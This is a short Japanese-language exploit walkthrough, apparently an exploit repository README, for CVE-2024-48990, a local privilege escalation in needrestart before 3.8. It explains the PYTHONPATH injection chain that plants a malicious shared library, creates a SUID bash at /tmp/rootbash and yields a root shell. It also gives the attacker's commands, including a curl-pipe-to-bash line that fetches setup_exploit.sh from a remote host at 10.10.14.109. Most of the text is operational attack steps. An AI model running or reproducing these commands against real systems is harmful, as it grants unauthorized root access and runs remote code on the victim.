
PYTHONPATH インジェクションによる needrestart < 3.8 のローカル権限昇格。
/proc/[pid]/environ から PYTHONPATH=/tmp/.m を読み取りますPYTHONPATH を使用して Python を root として実行します/tmp/.m/importlib/__init__.so(悪意のあるライブラリ)を読み込みます/tmp/rootbash に SUID bash を作成します/tmp/rootbash -p を実行して root シェルを取得します重要ポイント: needrestart は非特権プロセスからの環境変数を信頼し、root としてインタープリタを実行する際にそれらを使用します。
攻撃者:
./compile.sh
python3 -m http.server 8000
ターゲット:
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
e.py プロセスはハングし、2 番目のターミナルから以下が実行されると root シェルを起動します:
sudo needsrestard
最初のターミナルでは root シェルが起動します
Qualys Threat Research Unit - CVE-2024-48990